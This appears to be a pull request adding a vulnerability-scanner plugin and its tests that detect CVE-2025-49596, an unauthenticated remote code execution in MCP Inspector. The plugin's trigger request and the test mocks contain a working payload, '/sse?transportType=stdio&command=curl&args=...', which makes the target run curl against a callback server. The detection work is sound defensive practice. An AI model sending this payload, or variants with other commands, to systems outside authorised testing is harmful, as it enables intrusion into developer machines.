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Merged
copybara-service merged 2 commits into from
Oct 3, 2025
Merged

Add CVE-2025-49596 MCP Inspector RCE Detector #688

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bf25169
Add CVE-2025-49596 MCP Inspector RCE Detector
frkngksl Aug 13, 2025
d1f84bf
Add fingerprint for template
frkngksl Aug 21, 2025
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84 changes: 84 additions & 0 deletions templated/templateddetector/plugins/cve/2025/MCP_Inspector_CVE_2025_49596.textproto
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# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "MCP_Inspector_CVE_2025_49596"
author: "frkngksl"
version: "1.0"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "CVE-2025-49596"
}
severity: CRITICAL
title: "Remote code execution affecting MCP Inspector (CVE-2025-49596)"
description: "The MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio."
recommendation: "Update the version to 0.14.1 or later."
related_id: {
publisher: "CVE"
value: "CVE-2025-49596"
}
}

config: {}

###########
# ACTIONS #
###########

actions: {
name: "fingerprint_mcpinspector"
http_request: {
method: GET
uri: "/"
response: {
expect_all: {
conditions: [
{ header: { name: "Access-Control-Expose-Headers" } contains: "mcp-session-id" }
]
}
}
}
}

actions: {
name: "trigger_code_execution"
http_request: {
method: GET
uri: "/sse?transportType=stdio&command=curl&args={{ T_CBS_URI }}"
response: {
http_status: 200
expect_all: {
conditions: [
{ body: {} contains: "sessionId=" }
]
}
}
}
}

actions: {
name: "check_callback_server_logs"
callback_server: { action_type: CHECK }
}


#############
# WORKFLOWS #
#############

workflows: {
condition: REQUIRES_CALLBACK_SERVER
actions: [
"fingerprint_mcpinspector",
"trigger_code_execution",
"check_callback_server_logs"
]
}
82 changes: 82 additions & 0 deletions templated/templateddetector/plugins/cve/2025/MCP_Inspector_CVE_2025_49596_test.textproto
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# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "MCP_Inspector_CVE_2025_49596"
}

tests: {
name: "whenVulnerable_returnsTrue"
expect_vulnerability: true

mock_callback_server: {
enabled: true
has_interaction: true
}

mock_http_server: {
mock_responses: [
{
uri: "/"
status: 404
headers: [
{ name: "Access-Control-Expose-Headers" value: "mcp-session-id" }
]
body_content: "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot GET /</pre>\n</body>\n</html>\n"
},
{
uri: "/sse?transportType=stdio&command=curl&args={{ T_CBS_URI }}"
status: 200
body_content: "event: endpoint\ndata: /message?sessionId=c868d434-b75d-49cb-9f91-ca9d2c86e518"
}
]
}
}

tests: {
name: "whenNoCallback_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: true
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/"
status: 404
headers: [
{ name: "Access-Control-Expose-Headers" value: "mcp-session-id" }
]
body_content: "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot GET /</pre>\n</body>\n</html>\n"
},
{
uri: "/sse?transportType=stdio&command=curl&args={{ T_CBS_URI }}"
status: 401
body_content: "{\"error\":\"Unauthorized\",\"message\":\"Authentication required. Use the session token shown in the console when starting the server.\"}"
}
]
}
}

tests: {
name: "whenNotMCP_Inspector_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: true
has_interaction: true
}

mock_http_server: {
mock_responses: [
{
uri: "TSUNAMI_MAGIC_ANY_URI"
status: 200
body_content: "Hello world"
}
]
}
}